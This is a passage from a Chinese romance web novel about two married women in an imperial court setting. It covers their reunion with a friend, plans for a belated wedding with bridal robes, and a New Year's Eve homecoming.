楚棠见沈知微比自己还生气的模样,心里好笑又熨帖,点点头回道:“嗯,陛下已经赦免他们了,想必过不多久,他们就会回到京城。” 至于继续往来?楚棠是真没这个打算。 流放路是很幸苦,但沈知微和温锦澜的钱其实没白给,更重要的是沈知微表明了身份,证明楚棠身后还有承恩侯府当靠山。这种情况下,官差虽然没有过多照拂,但其实也没有刻意为难。除了生病没给请大夫,也没让她一人拖累行程这一点之外,她之所以沦落到那般田地,其实还是“自家人”下的手。 这点她没说得太多,但沈知微却猜到了。她也不再提起那些楚氏族人,心里却暗暗打定主意,等人真回来后她少不得要去将人折腾一番。 想到这里,她又瞥了眼夏时——当猎户的,手上染血,心应该软不到哪儿去吧?等回头她还得和对方叮嘱两句,可不能让那些楚家亲戚有登门欺负楚棠的机会! 糟心的往事说完了,沈知微也不想楚棠继续想那些人,于是话题一转又问道:“然后呢?你们是怎么遇上的?当初还在京城时我可问过你,你可一点要嫁女郎的口风都没露过。” 啊这,被人买回去当媳妇这事,可是不好说也不好听啊。 楚棠迟疑片刻,可她和沈知微当真是至交好友。从前沈知微没瞒着自己怎么和唐奕认识来往的,如今她自然也不好说假话骗她,于是支支吾吾开了口:“那,那我不是病重了吗,押解的官差还以为我死了,就把我扔在路边上了。后来有队人贩子经过,就顺手把我捡了回去……” 之后是什么情况,沈知微猜到了,目光在两人间转了一圈:“所以是夏时把你买回去的?”说完又不解:“可她为什么会买你?你当时可是病重,谁会买个重病之人回家?” 这话还算是委婉的,听说了楚棠流放路上的遭遇过后,沈知微都能想到彼时楚棠的狼狈。别看如今的楚棠肤白貌美气质不俗,当时的她怕是连如今一成的风采都没有,又到底凭什么吸引的夏时? 沈知微不解,楚棠也没问过夏时,就连唐奕都忍不住冲她投去了好奇的目光。 夏时被三双眼睛盯着,莫名感觉到了一股压力。可当初的情况实在不好宣之于口,主要是说了可能也没人信,于是她想了想,含糊道:“要说理由,可能算是缘分吧?我当天正好遇见了她,又正好一个人生活太久觉得孤单,想要有个人作伴。” 这话里水分不少,在场的几个人也都心知肚明,但同时她们也看出夏时没有说谎。沈知微便托着腮,目光在两人身上扫来扫去,最后笑道:“那这,也算是一见钟情?” 夏时听了这话还没什么反应,楚棠反而轻轻推了好友一把——所谓的一见钟情,归根结底其实就是见色起意。可就她当初那副要死不活的模样,谁能对她见色起意啊?哪怕夏时买她回去时,就暗示要她做妻子,可楚棠心里总觉得二人算是日久生情。 毕竟在遇见夏时前,她是真没想过自己会嫁个女郎,更没想过对方会是个大字不识的猎户。 不过幸好,她们遇见的是对方,如今也算完满。 ******************************************************* 这一场小聚持续了挺久,几人吃吃喝喝说说笑笑,外间的夜色也愈发深了。 一桌子菜被吃得七七八八,桌上的两壶果酒更是不够喝,已经又上过了几轮。不过沈知微酒量不错,唐奕更是在边关喝烈酒长大的,一点果酒妻妻俩更是不放在眼里。 楚棠也喝了些,不过不多,只脸上稍染了些薄红罢了。 沈知微提起酒壶又给楚棠倒了杯酒,酒壶还没放下,忽然想到了什么:“对了,听你们说了那么多,怎么没说你们到底什么时候成亲的?可惜,当初我和唐奕成亲你还来喝了喜酒,锦澜的喜酒咱们也都没错过,偏是你的,我和她都没赶上。” 她说完还唏嘘不已,也就没看到这话音落地,楚棠和夏时两人面面相觑的模样——讲真,她们还真没举行过婚礼的仪式。说是成亲,也不过是把人接回了家,大家默认的关系罢了。 这点在乡野并不稀奇,毕竟举办婚礼花费不小,许多人都不乐意花这份钱。 可现在不同了,她们重回了京城,两人的身份也今非昔比……夏时蓦地想到了曾经在布庄看到的那匹红布,她其实也一直想和楚棠有个婚礼的。 两人目光对上,楚棠很快读懂了夏时的心思,却不免生出几分犹豫来——所有人都知道她和夏时是妻妻关系了,这时候再来补办婚礼,显然有些不合时宜。如今又是女官刚入朝的风口浪尖,补个婚礼说不定就要有人议论她俩之前是无媒苟合了,于女官的名声不好。 两人这边打着眉眼官司,沈知微那边久久没有听到两人接话,也不由看了过来。 她是个聪明人,再加上对楚棠这好友十分了解,很快就从两人眉眼间看出了答案:“诶,诶诶,你们俩不会是没有婚礼吧?这可不行,人生大事,怎么能如此草率呢?!”说完立刻兴奋起来,一拉唐奕的衣袖:“唐奕,咱们帮她们补办个婚礼吧。” 唐奕听得好笑,捏捏老婆耳垂:“醒醒。就算她们要补办婚礼,也轮不到你来做主啊。” 婚姻大事,自来是父母之命媒妁之言。即便楚棠已经没了长辈做主,这事也该她自己来,哪里轮得到一个外人来替她决定这终身大事?便是再好的朋友也不行! 沈知微轻哼了一声,又回头看看楚棠,抱住她手臂:“怎么样,阿楚,你想不想办个婚礼。咱们也不必闹得太大,就在你自己的家,有好友相伴,穿上一身嫁衣,嫁给心爱之人。” 不得不说,楚棠被沈知微这轻描淡写的几句话给说得有些心动了——她也曾是不谙世事的闺中少女,也曾幻想过穿上嫁衣,有一场盛大的婚礼。可是后来发生的事全不在她的预料之中。遇见夏时很好,和她一起生活也很好,可她们确实缺了一场婚礼。 两人再次对上视线,这次夏时握住她的手,开了口:“其实我也想看你穿嫁衣的样子,一定很美。” 这句话最终让楚棠下定了决心,她回握住了夏时:“好吧,咱们办一场婚礼,你也穿嫁衣让我看看。”说完又看向沈知微:“知微,这事就有劳你帮忙了,不必闹大。” 沈知微冲她眨眨眼:“知道,放心。” 几人心中也都有成算,补办的婚礼只是弥补二人的遗憾。再加上楚棠这两年的遭遇,京中除了沈知微和温锦澜之外,也并没有她还认可的朋友,那些糟心亲戚就更不必提了。所以这场婚礼注定不会是楚棠少时期盼的盛大,但楚棠自己已经不在意了。 几人相视而笑,沈知微忽然想到了什么,说道:“对了,得去明家商行送个信,叫锦澜她们赶紧回来。当初阿楚你在外成亲,我们赶不上也就算了,这补办的婚礼她可不能缺席。” 楚棠莞尔一笑,回道:“放心,此事不急,我们等她就是。” …… 是夜,几人小聚到二更天才散,沈知微和唐奕最终还是在楚家留宿了。 聚会散后,眼看着时间不早,两对妻妻各自回去休息。夏时牵走微醺的楚棠,沈知微也不必两人招呼,熟门熟路领着唐奕便往从前留宿的屋子走去。 如往常一般洗漱过后,小两口又躺在了同一张榻上,楚棠一个翻身熟练的滚进了夏时怀中。 她今晚饮了些酒,有些微醺,再加上时间确实不早了,找到个舒服的位置后楚棠眼睛一闭将要睡去。却在这时被夏时轻轻摇醒了,她迷迷糊糊睁开眼,问道:“怎么了?” 夏时支支吾吾像是为难,好一会儿才小声问:“阿棠,有件事……就是嫁衣,听说嫁衣都是要自己绣的,可我不会怎么办?” 楚棠闻言抬头看了她一会儿,忽然没忍住笑了出来,然后赶在夏时羞恼之前凑上去亲了亲她的唇:“好了,放心,到时候我教你,包教包会的。现在时辰不早了,咱们先睡吧。” 夏时答应一声,乖乖躺好闭上了眼,可满心兴奋的她依旧睡意全无。 122☆、第122章 ◎这一身火红嫁衣更衬得她人比花娇◎ 自那日小聚之后,夏时就惦记起了补办婚礼一事。 然而婚礼之事总归不是嘴上一说,立刻就能办成的。正常的婚礼要走六礼的流程,少说也要折腾个半年,两人私下补办的婚礼倒不必那么讲究,可筹备起来也不是一日两日就能成的——就算她们当真很快筹办好了一切,也还是要等温锦澜收到消息回来的。 这日下值,夏时又提前等在了户部衙署外面。等见到户部的大小官员都陆陆续续离开之后,她才在最后等到了姗姗来迟的楚棠。 夏时迎上去几步,不悦的拧眉:“你怎么又是最后一个出来的?是不是有人排挤欺负你?” 这一点夏时很有发言权。她作为一个新人,还是个女郎,乍然得到女帝的封赏进入羽林,同僚和下属便都不太友善。虽说顾虑着女帝没有明目张胆的欺压排挤,可冷落之类的却少不了,也就是夏时心大不在意,后来又凭着真本事才渐渐将人折服。 女帝封赏的第一批女官人数也不多,楚棠作为唯一一个进入户部的女官,同样是个新人,会被人排挤也是正常的。只是夏时不在意自己的遭遇,却不愿看到楚棠受欺负。 楚棠一抬头,几乎能看到夏时眼底的小火苗,就差撸起袖子把她的上司同僚都揍一顿了。见此楚棠哪里还敢火上浇油,她连忙拉住夏时的手,解释道:“放心,没人欺负我。这里可是户部衙门,去岁还在我爹的执掌下呢,多少有几分香火情的。只是我初来乍到,总要多学些东西,这才耽搁得久些。” 夏时闻言想了想,信了,眼底的怒火散去,复又变得清明起来。她回握住楚棠的手,牵着她转身往宫外走:“那好吧。不过你平时也别耽搁太久,万一宫门落锁可就麻烦了。” 楚棠笑着抱住她手臂:“哪这么夸张,就是稍稍迟了片刻而已,再说我也舍不得让你久等啊。” 夏时总是很好哄的,哪怕楚棠并未有太多的甜言蜜语,她还是笑弯了眉眼。 两人顺利出了宫门,楚家的车夫早就驾车等在宫门外了。夏时也不等车夫摆好车凳,手臂往楚棠纤腰上一揽,径直将人抱上了马车。她自己动作更是轻巧,轻轻一跃也跳了上去。车夫见怪不怪,收回取车凳的手,跟着跳上马车一抖缰绳。马儿便乖顺的迈开了步子。 外间马蹄踏踏,车声辚辚,楚棠靠在夏时肩头闭目养神。夏时侧过头看了会儿,没忍住问道:“怎么,很累吗?” 楚棠没睁眼,反而在她颈侧蹭了蹭:“也还好,等过了这段时间适应了就好。” 女帝的心思楚棠很清楚,她是本朝第一个女帝,势必要在朝中培养自己的女官势力。别看如今楚棠和夏时她们的官职品级都不算高,但终有一日这些人是要站上高位的……楚棠很清醒,虽然前路一片坦途,但德不配位是绝对不可以的,所以她从穿上官服的第一天就很努力。 夏时闻言也不好多说什么,只得安抚了楚棠一句:“别急,慢慢来。” 楚棠“嗯”了一声,靠在夏时肩头没再说话。之后马车晃晃悠悠穿过闹市行过街巷,马车里却始终是一片安静,夏时也再未开口。 一开始楚棠还没觉出有什么不对,可车厢内安静得久了,她终究没忍住睁开了眼:“你今天怎么这么安静?平日不是总有很多话和我说吗?” 夏时就是个粘人精。从前她粘着老婆都不想出去打猎,如今每日当值,两人一天有大半时间见不着,下值的时候她话就会变得格外多。从身边的同僚八卦,到朝臣进谏挨骂,再到御花园暖房里又开了几朵花,她都能絮絮叨叨说一路,好像恨不得将自己的见闻全都分享给楚棠。 可今天她忽然没那么多话,楚棠也变得不习惯起来,问过之后只得了句:“你看上去很累,我不说话了,让你休息休息。” 这个答案让楚棠莫名不满,她抬起头来:“倒也没那么累,我想听你说话。” 夏时见状便只好和她说自己今日的见闻,只是听上去干巴巴的,全不似往日和楚棠分享时的兴致勃勃。 聪慧如楚棠,自然也看出了她的心不在焉,当下双手捧住夏时的脸问道:“怎么了,今天发生了什么事吗?我看你兴致不高,都不想和我说话的样子。” 夏时闻言赶紧否认:“哪有?!”说完顿了顿,才又试探:“有件事,你是不是忘了?” 楚棠听罢一怔,眨着眼想了许久,也没明白夏时说的是什么。 她略略有些心虚,但好在夏时并没有计较,见她真想不起来便说道:“嫁衣,你说过要教我绣嫁衣的。其他事可以交给福伯她们操办,这个总要我们提前准备才好。” 楚棠闻言恍然,这才想起自己半醉半醒时答应的事,莞尔笑道:“不急,等过些天我教你。” 夏时倒也听话,楚棠说不急,她便也耐下了性子。 ******************************************************* 关于嫁衣的事,楚棠早有准备,夏时却是在收到新嫁衣的当天才知道的。 看着床上平铺着放在一起的两套新嫁衣,夏时一脸的惊讶:“这,这谁做的?怎么就做好送来了?!” 楚棠拿起一套放在夏时身前比划,笑着回答:“自然是拜托了知微。我家从前倒也养过几个绣娘,我和父亲一年四季的衣裳都是她们裁剪缝制的。可惜后来家中遭难,她们便也和其他人一起被发卖了。她们有绣活儿的本事,倒也不缺好主家,再加上干系不大,陛下便也未曾将人寻回。好在知微从前最好打扮,钗环脂粉衣裳,统统都要最好的。她家中绣娘不少,手艺也比别家的更强,我便托她做了这两身嫁衣。” 至于衣裳尺寸,当然是楚棠给的。夏时的身材尺寸没有谁比她更熟悉的了,根本不必绣娘过来亲自测量,她都能说清每一处。也是因此,夏时才不知早有人替她们缝制了嫁衣。 夏时对此倒是没什么意见,毕竟她根本没拿过绣花针,楚棠的针线活儿也只能说是一般。如今她俩又忙着当值,其实也没有多少时间来亲自准备嫁衣。 只一点,夏时看着漂亮的嫁衣犹豫道:“不是说要亲手绣吗,别人做的也可以?” 楚棠比划完确定这一套正是夏时的尺寸,便塞到了她怀中:“自然可以。你要讲究这个,我也有办法,一会儿和你说,你先去换了衣裳,看看合不合身?” 夏时被推去了屏风后,听话的试新衣。 只是她从前当猎户,后来当侍卫,总少不了打打杀杀,装扮也向来是以方便活动为主。她几乎没穿过让人迈不开腿的裙子,更别提繁琐华丽的嫁衣了。那层层叠叠的大红布料让她摆弄不明白,折腾了许久都没能把衣裳好好穿起来。 直到屏风外的楚棠等不及了,从屏风一侧探出头来:“你怎么还没好?” 问完这话,楚棠也看到了夏时此刻窘迫的境遇,没忍住“噗呲”一声笑了出来。笑过之后楚棠也没什么避讳,干脆绕去屏风后,帮着夏时整理起来。 夏时一开始被笑得脸色烧红,但等楚棠进来认认真真帮她整理起衣裳时,那种羞窘的感觉反倒是淡了。她比楚棠高了半个头,此刻垂着眉眼看着眼前人,某种不知不觉尽是缱绻。 片刻后,楚棠终于帮夏时将嫁衣穿好了。抬眼一看,高挑的女郎被那一身红衣衬得神采奕奕,一双清亮有神的黑眸中藏着缱绻温柔,只一个对视,几乎就让人挪不开眼……夏时明明什么都没做,可楚棠却莫名红了脸,心跳也似快了几分。 楚棠感觉耳朵有点发烫了。她别开视线,假装忙碌的帮夏时又理了理衣摆,嘴里随意的说着:“我看尺寸刚好,应该不用让绣娘再改了。就是可惜你头发太短,不好盘起来,许多钗环之类的,恐怕都不好戴上了,得再挑几件合适的发饰才好。” 夏时没有错过楚棠泛红的耳朵,她自己也莫名羞涩起来,微低了头凑上去:“那,我穿这身,好看吗?”问完又似苦恼:“我好像没穿过裙子,穿嫁衣会不会很奇怪?” 楚棠闻言抬头,果断否认:“没有,很漂亮。” 夏时正低着头,楚棠这一抬头,两人几乎撞在一起。随后她就见夏时眉眼一弯,那双清亮的眸中似划过万千惊喜:“真的吗?” 楚棠被她笑容感染,也跟着弯了眉眼:“自然是真的。等上了妆,必然更好。” 夏时从不觉得自己丑,但也不觉得自己漂亮。她不管楚棠此刻的夸赞几分真假,听到心上人如此夸赞总归是高兴的。她牵起楚棠将人拉到了床前,将剩下的那身嫁衣拿了起来:“阿棠,你也换上试试,我想看。” 楚棠自然没有拒绝,拿着嫁衣绕去了屏风后。她倒不必夏时帮忙,没一会儿便换上新嫁衣走了出来。 已经照过镜子的夏时眼睛一亮,一时竟看得呆了——果然,阿棠生得花容月貌,穿上这一身火红嫁衣更衬得她人比花娇。心里便也更加期待起婚礼那天,到时候梳了发髻上了妆容,新娘的模样她恐怕能记一辈子! 所以,婚礼的吉日到底什么时候定下来啊?她都有些等不及了。 123☆、第123章 ◎这些小心思她谁也没说过◎ 比起夏时心心念念的婚礼,先一步到来的是新年。 女帝登基本来就已入冬了,一番折腾下来,自是到了年底。而彼时楚棠通过明家商行给温锦澜送的信也才刚送到对方手里,等人赶回来也是明年的事了。 夏时心里颇有微词。不过转念想想那漂亮的嫁衣,以及楚棠那单薄又怕冷的体质,到底也不适合在寒冷冬日如此折腾,于是也只能敛了心思,专心迎接即将到来的新年。 比起去岁过年,今岁的年节显然大不相同。 两人从偏僻的丰乐镇来到了繁华的京城,地位和钱财也是今非昔比。过年时甚至都不必两人亲自上街采买年货,福伯等人便已经将一切准备得妥妥帖帖。等到某一日楚棠下衙归来,接过福伯递来的单子看上一眼,再确定是否还要添补。 至于夏时,她的参与感便更少了。甚至因为职位的缘故,别的官员等到女帝宣布封笔就能安心回家准备过年放假,可她不行。羽林的值守一天都不能少,所以过年她也得当值! 夏时满心的不乐意,恨不得立刻去寻女帝辞官,转头一看还有个人和她同病相怜——唐奕比她更惨,作为执掌羽林的女帝心腹,过年期间她是一天休息日都没有。只是对方大概习惯了忙碌,每天挎着刀在皇宫内走来走去,也不见她有半点不耐。 晚间下值,夏时蔫头耷脑的走出皇宫——老婆已经过年放假了,户部衙门今日就留了两个小吏当值,她下值也没人陪,只能自己一个人回家了。 正想着,一抬头,便见熟悉的马车停在宫门外。 夏时怔了下,转念一想自己回家也是要车接的,倒也没有多在意。 只是她刚不紧不慢走出几步,忽的就见那马车车窗打开了,露出一张熟悉的姣好面庞。 夏时眼睛顿时亮了起来,三两步急奔过去,一跃就跳上了马车:“阿棠,你来接我下值啊?”说完自知问了句废话,又补了句:“不是说要准备过年,家里很多事忙吗?” 楚棠伸手将人拉到身边坐下,又去摸夏时的手,发现这人果然是个火炉体质,到了冬天也不会手凉,这才打消了将手炉塞给她的打算。嘴里则随意的回应着:“家里就咱们两人,过年也不必太讲究。还是说,你不喜欢我来接你?” 夏时连忙摇头,乐得嘴角都快裂到耳后根了:“怎么会,我高兴着呢。倒是你,这大冬天的还是少往外跑,万一吹风着凉可就不好了。” 说归说,但楚棠乘车过来,其实也吹不了多少风,夏时高兴着呢。 外面的车夫早就料到这一幕,因此根本没往车凳伸手,等夏时进了车厢他便直接驾车离开。马车晃晃悠悠驶离了皇宫,车外的声音也渐渐从安静变得嘈杂起来。 这在冬日是很不常见的,哪怕京城繁华,可入冬之后大部分的百姓还是习惯猫冬。因为他们既没有出门的必要,也没有厚实的衣裳避寒,还不如躲在家中更舒适。而富贵人家的子弟就更不必提了,他们虽不缺冬衣保暖,却也没有出门挨冻的癖好。 直到最近临近年关,人人都为过节奔忙起来,街市上便也热闹了起来。 夏时坐在马车里听到这动静,也忍不住打开车窗往外看了看,随后感叹道:“可真热闹。家里的年货准备得如何了?咱们去岁一起京城置办年货,其实也挺有意思的。” 彼时两人不算有钱,住的地方距离县城又远,年货还是夏时自己背回山上去的。可幸苦归辛苦,回忆起那番经历,夏时心里还是很开心的——在遇到楚棠之前,她已经一个人过了很长一段时间。那时候别说和人一起置办年货了,就是过年时也是她一个人孤零零的过,所以她也是真的很高兴能有人相伴。 楚棠倒是想到了别的,忽然道:“也不知云雾山上,现在什么样了?” 去岁是小两口在一起过的第一个年,两人都很用心准备了,可惜后来阴差阳错,这个年也没能过得安生。甚至就连她俩费心准备的年夜饭,最后也便宜了别人。 夏时经她一提,也一下子想到了这茬,现在想想都还有满心的火气——大过年的被找不痛快,这事她真的能记很多年。而且当初离开云雾山时她怕被发现,连家门都没敢进也没敢关,这一年时间过去,那院子怕不是早就荒废了。说不定都有山间小兽住进去,把那儿当窝了! 想想有些不痛快,可若是留在京城再不回去,那院子变成什么样,似乎也没什么要紧的。 夏时神游天外,楚棠却忽然说道:“咱们什么时候有空,回去一趟吧。” 这话题出乎意料,夏时“啊”了一声没反应过来,脑海里的第一个念头竟然是:什么时候有空?咱们什么时候有过空了?这不天天都要当值吗? 楚棠却误会了她的意思,提醒道:“你爹的墓还在山上呢,咱们总不能一走了之,再不管了吧?总得回去一趟,托人照管。” 还有她那小学生,收的时候虽然不用心,但对方冒险上山送信的情谊她还记得。 ******************************************************** 两人抽空准备着过年的事。好在有福伯等人帮忙操持,夏时参与不多却也没有耽误什么事,楚府的过年气氛一日比一日更浓。 置新衣、挂灯笼、贴春联,平日略显冷清的宅子也一下子喜庆起来。 然后夏时就郁闷的发现,除夕当晚她居然正好当值……去岁她就没能陪老婆过个好年,今年更好,她连回家一起守岁的机会都没有了! 夏时怨念深重,这次她都没和楚棠商量,当值时遇见唐奕就直接向对方开口告假了。 唐奕和夏时相处也不是一日两日了,对她的性情知之甚深,一看夏时那怨念的神情就知道她在想些什么。出于好心,她拉着夏时私下告诫:“我知今日除夕,你想回家陪伴家人。可今日当值的羽林不止你一人,你可知这话若是让人听见,旁人会如何看你?” 夏时倒不糊涂,闻言歪了歪头,顺口答:“儿女情长,不分轻重。玩忽职守,不堪大用。” 唐奕被这精准的回答噎了一下,旋即瞪眼:“你既然都知道,怎么还来向我告假?当真是不想要前程了吗?便是陛下听到你如此,心里也会不喜的。” 夏时抿了下唇,她可从来没有位极人臣的野心,得过且过就差不多了。 唐奕教导过夏时一段时间,哪能不知这家伙的脾性,对她这不思进取的性子也无奈极了。因此她也不想听对方的泄气话,干脆挥挥手说道:“告假的话我就当没听到,你该干嘛干嘛去。” 说完迅速走了,一点不给夏时纠缠的机会。 夏时无奈,只好继续当值——她其实也并没有那么蠢,尤其还有人和她分析过利弊。但有个朴素的道理她很清楚,没有哪个皇帝会希望看到一家独大。所以朝中有个不成文的规定,父子不可同居高位,即便两人同样才干非凡,儿子想要上位也得等父亲退了之后。 父子是如此,夫妻难道就不是?即便女帝有心重用女官,肯定也不会希望看到一家妻妻都位高权重。反正夏时自己也没什么野心,干脆表现得不堪大任,将机会都让给楚棠好了。 这是夏时的小心思,但这些小心思她谁也没说过。 半下午的时候,夏时都要放弃告假回家过年这想法了,哪知偶然一抬头,忽然发现一道熟悉的身影出现在了视野里。那人不是旁人,正是本该放假在家的萧晏书。 夏时眼珠一转,立刻想到了什么,于是主动抬步迎了上去:“萧侍中,你怎么进宫来了?” 萧晏书封官后做了侍中,依旧是天子近臣,有随时进宫面圣的资格。两人在宫中遇见也不是一回两回了,不过这还是夏时头一次如此热情的迎接她。 略扬了扬眉,萧晏书笑道:“我有些事需要面见陛下,便进宫来了。夏校尉寻我可是有事?”说完没等夏时回答,她像是想起了什么似得,又笑道:“对了,今日可是除夕,夏校尉今日还在当值吗?” 夏时听罢脸色就黑了黑,原来你也知道今日是除夕啊,还这样随随便便就进宫来。不过腹诽归腹诽,既然遇见了对方,夏时还是不想错过机会的:“是啊,今日还要当值,可怜阿棠今日得一个人在家守岁了。说来也是我俩运气不好,去岁除夕就没能好好过,今年又如此,也不知明年能不能好好过个年了。” 萧晏书是个聪明人,哪里听不出夏时的言外之意,尤其去岁两人的遭遇多半还是被长公主牵连的。她有些好笑的看了看夏时,对方就差没把“我有小心思,我想回家”写在脸上了。 但她没接话,摆摆手走了,夏时也不知她到底什么意思。 好在萧晏书并没有辜负夏时的期望,见到女帝之后便笑着将夏时的事说了:“除夕夜还得在宫中当值,人家可不乐意呢。” 女帝听完都气笑了:“这点小事还想告假,这人可真是……”没出息! 萧晏书却笑:“我倒觉得她这性子恰好。没什么野心,还恋家,负责守卫皇宫再适合不过了。” 【作者有话说】 夏时(怒砸官印):997全年无休,大过年还要给别人家看大门,这官谁爱当谁当去吧。我老婆又不是养不起我! 124☆、第124章 ◎平时她可能嫌弃人多,但今晚不会◎ 恋家的夏时最终还是获得了假期,顶着唐奕恨铁不成钢的目光,高高兴兴的下值回家去了。 只是经过这一耽搁,她下值的时间也不算早了,宫门外更没有楚家的马车提前等着。不过她也不在意,反正楚府位置不远,她一路跑回去也耽搁不了多久。 除夕夜,街上算不得热闹,大多数人都早早回了家。 夏时一路跑过街市,也只偶尔看到几个小孩儿还在外面玩闹。她前脚刚从这群小孩儿身边跑过,后脚就听见身后传来了妇人的喊声,于是聚在一起的小孩儿很快又呼啦啦一起跑回了家——今晚没有小孩儿会因贪玩不愿意回家的,因为今晚的年夜饭会是一年中他们吃的最好的一顿。 也不知今晚的年夜饭阿棠都准备了什么菜?可惜她以为自己今晚回不来的,都没留意过这一点。不过比起菜色,她还是跑快些的好,免得赶不上年夜饭就糟了。 小猎户能在野兽的追赶下逃得性命,跑起来一阵风似得。她赶回楚府时天还没黑,正瞧见楚家的仆从点亮门口悬着的灯笼。 福伯在一旁指挥:“偏了,再往左一些,两边灯笼对称了才好看。” 年轻的仆从听话的将灯笼挪了挪,直到福伯说好才就爱那个灯笼挂上。然后两个人一低头,瞧见了门口的夏时,齐齐惊了一下:“夫人今晚怎么回来了?” 在楚家,楚棠是小*姐,也是年轻的新主人,仆从们对夏时的称呼自然就成了夫人。 夏时跑了一路,好在冬日天冷也没怎么出汗,她一边迈步进门一边回答:“陛下特许,准我回家守岁过年。阿棠呢,她现在在做什么?” 福伯闻言似乎顿了下,这才回道:“应是还在院中吧。” 他话还没说完,夏时已经一溜烟进了门,很快消失在了门口二人的视野中。 其实不必福伯回答,夏时回家后第一时间也是向着两人居住的院子而去——今晚她原本回不来的,楚棠也不可能一个人吃年夜饭,便打算和家中这些患难重聚的旧仆一起吃。现在福伯还在门口指挥人挂灯笼,年夜饭显然还没开始,她自然要回院子里找人。 果然,楚棠此时还在屋中。而此刻的屋里也不止她一个人,紫苏、青黛、白芷都在,几个人正聚在桌边,往一只只红色的小锦囊里塞金银锞子。 这是过年时常备的东西,走亲访友时遇见小孩儿,又或者某些时候打赏仆从,都是十分合适的。 紫苏一边往锦囊里塞金裸子,一边与几人说着闲话:“今年的这些还是在汇丰楼定的,我去的时候掌柜的见到我还吓了一跳。他消息可真不灵通,只知道咱们楚家平凡了,还不知道小姐您如今也当官了呢。而且一出仕就是从五品,可比考状元封官的品阶还要告。” 这话一出,还没等楚棠说些什么,青黛就瞪了她一眼:“少胡说八道。” 紫苏听了有些不服,她怎么就胡说八道了?只是还没等她开口反驳,又被白芷瞪了一眼,两个小姐妹都觉得她说错话了,那她估计就真说错话了吧。 三个侍女中紫苏年纪最小,偶尔也跳脱,想到什么就说什么。可这话也真不适合拿出来说,毕竟楚棠这官职,大半还是靠着从龙之功,以及蹭着女帝的东风才做上的。虽然也没什么见不得人的,但拿出来和正经科举出身的状元比,传到旁人耳中可就要觉得她轻狂无知了。 索性就在这时,夏时推门走了进来。 屋中四人看到她都是一愣,紫苏几人如今也是相当自觉,见到夏时几乎都是避着走。于是不等夏时开口,三人便放下了手中的东西,匆匆行过一礼后退了出去。 楚棠将几颗金裸子放进锦囊,又随意栓好口子,这才问道:“你怎么回来了?” 夏时和她目光一对,就知道楚棠可能已经猜到了。不过她还是不死心,试图拿糊弄福伯的说辞糊弄对方:“陛下特许,准我回家守岁过年。”半个字没提自己告假的事。 可楚棠才不信这话呢,女帝新登基不久,便是年节也未必清闲。她出门时可能偶尔还会看到夏时,可这大冷天的,谁总出门啊?不出门,没看见,女帝又哪儿来的心思在意一个小小羽林校尉回不回家过年?便是施恩,也不会等到这个时间了。 楚棠看向夏时的目光带上了许多无奈,想说些什么,又咽了回去。 夏时猜到老婆可能想骂自己,但顾忌着过年,这才没有开口。她也不想楚棠生着气过年,于是凑上前扯了扯她衣袖:“去岁除夕就过得不顺,今年我想陪着你一起好好过,不行吗?” 她装得可怜兮兮,语气也软软的像是撒娇,顿时闹得楚棠没了脾气。顺手将手里的锦囊塞给夏时,楚棠有些没好气道:“行行行,你人都回来了,还有什么不行的?” 夏时顺手接了锦囊,她刚才说看着楚棠往里装金裸子的,这会儿入手也是沉甸甸。 随手掂量了几下,夏时干脆岔开话题,晃着锦囊冲楚棠笑:“这是阿棠给我准备的压祟钱?” 楚棠闻言好气又好笑,白她一眼:“压祟钱都是给小孩子的,哪有给老婆送压祟钱的?” 说归说,夏时顺手把锦囊收起来了,楚棠也没说什么。只是没想到夏时把锦囊塞怀里的同时,居然顺手又从怀中摸出只小锦盒来:“阿棠给我准备了压祟钱,我也有礼物送你。” 楚棠目光落在那锦盒上,略有些诧异——比起礼物本身,楚棠更好奇这东西的来历。夏时的粘人劲儿没人比她更清楚,这家伙除了当值恨不得时时刻刻都跟自己黏在一起,两人下值也是一起回家。所以这礼物她到底什么时候去买的? 带着好奇,楚棠接过锦盒打开了,但见一只漂亮的玉簪正静静躺在锦盒之中。而这玉簪的玉质通透温润,雕工精巧细致,便是不懂行的人一眼看了,也会觉得它十分昂贵。 最要紧的一点,夏时身上即便有这么多钱,这东西也不是寻常能够买到的。 楚棠细细看过,确定自己没看错眼,终于忍不住问道:“这玉簪你哪儿来的?” 夏时听问倒也没有隐瞒的意思:“怎么样,喜欢吗?这是陛下赏赐的,听说将作监的人手艺都是最好的。” 楚棠一听,拿起玉簪细细翻看一遍,这才在玉簪一头雕刻的花瓣下找到了内造的标记……说来女帝也是个大方的人,对下属从不亏待,尤其是立功的下属。而夏时当初一箭射杀三皇子,还让他顺手解决了老皇帝这事,女帝即便不好明面嘉奖,但私下也是给了不少好处的。 羽林校尉的官职是一样,这支玉簪是一样,此外还有不少钱财补贴——别看夏时摆烂不想当官时,嘴里喊的是老婆养她,实际上收到过长公主几回赏赐的她,小金库也已经十分丰厚了。 新年礼物送了出去,夏时又亲手将玉簪插在了楚棠发间,这才满意的点点头。 两人又将桌上的锦囊和金银锞子都装好了,夏时便揉揉肚子,问楚棠道:“阿棠,年夜饭什么时候开始啊,我有些饿了。” 正巧,她话音刚落,外面就传来了白芷的声音:“小姐,年夜饭准备好了,您和夫人要出来吗?” 楚棠应了一声,接着扭头一看夏时,见她回来还没换衣裳,赶忙将人推了一把:“去换身衣裳,吃年夜饭了。” 夏时高高兴兴应了声“好”,转身就往屏风后去了。 不多时,夏时从屏风后绕了出来。她已经换上了屏风后早就备好的衣裳,颜色款式和楚棠身上穿的正相配,于是笑眯眯凑过去问道:“不是说我今晚当值不回来吗,你怎么还提前为我备好了衣裳?” 楚棠倒没什么不好意思的,她心里自然也是希望今晚能有夏时陪着守岁的。不过这话说出来,眼前这家伙尾巴能翘到天上去,于是干脆没开口,只勾住夏时腰间配饰将人往外拉:“走了,福伯他们该等急了。” 夏时被她拉出了屋子,嘴里嘀嘀咕咕,手上动作倒是一点不慢。出门时她顺手就从门边衣架上扯了件披风,一出门就赶紧给楚棠裹上了,怕她不小心着凉。 京城的冬天也是很冷的,雪虽然没有云雾山上那样大,但除夕夜地面上也积了薄薄的一层。 好在两人不必踩雪,一路沿着回廊出了院子,穿过花园庭院,最后来到了前院的花厅里——今晚的年夜饭就备在了这里。一起吃年夜饭守岁的人说多不多,说少也不少,除了白芷三个,也就福伯等几个家中老仆,在花厅里摆了两桌分开吃。其他人与楚棠关系并不亲密,连进花厅的资格也没有,自是去了别处。 两人一进门,屋中几人便齐齐起身迎接:“小姐,夫人。” 楚棠摆摆手,夏时转身关门:“不必多礼,今晚咱们一起守岁,也热闹些。” 